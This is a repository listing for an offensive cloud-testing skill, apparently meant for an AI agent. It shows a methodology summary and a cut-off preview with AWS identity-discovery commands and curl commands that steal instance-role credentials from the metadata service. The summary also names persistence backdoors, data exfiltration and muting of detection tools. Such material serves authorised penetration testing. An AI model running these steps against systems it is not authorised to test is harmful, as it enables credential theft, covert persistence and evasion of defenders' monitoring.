offensive-cloud

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Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or whe

DevOps & Infrastructure 3,234 stars 523 forks Updated 1 weeks ago MIT

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# Cloud (AWS / Azure / GCP) — Offensive Testing Methodology ## Quick Workflow 1. Identify the cloud and the identity context you have (user, role, service account, instance role) 2. Enumerate without writes — `aws sts get-caller-identity`, `az account show`, `gcloud auth list` 3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.) 4. Find the data and the persistence anchors before alarms fire 5. Document the kill chain with timestamps, identities, and resources for the report --- ## AWS ### Identity Discovery ```bash aws sts get-caller-identity aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}') aws iam list-attached-role-policies --role-name <role> aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \ --action-names "*" ``` ### IMDS Credential Theft ```bash # IMDSv1 (legacy) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> # IMDSv2 (modern, requires token) TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without `Host: 169.254.169.254` and proper `PUT`-then-`GET` flow — SSRF in 20...

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Author
SnailSploit
Repository
SnailSploit/Claude-Red
Created
6 months ago
Last Updated
1 weeks ago
Language
Python
License
MIT

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Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user/key creation, AAD app registration, GCP svc account key creation, EventBridge/Logic Apps backdoors), data exfiltration (S3/Blob/GCS, snapshot share, RDS/CosmosDB/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS/AKS/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or whe

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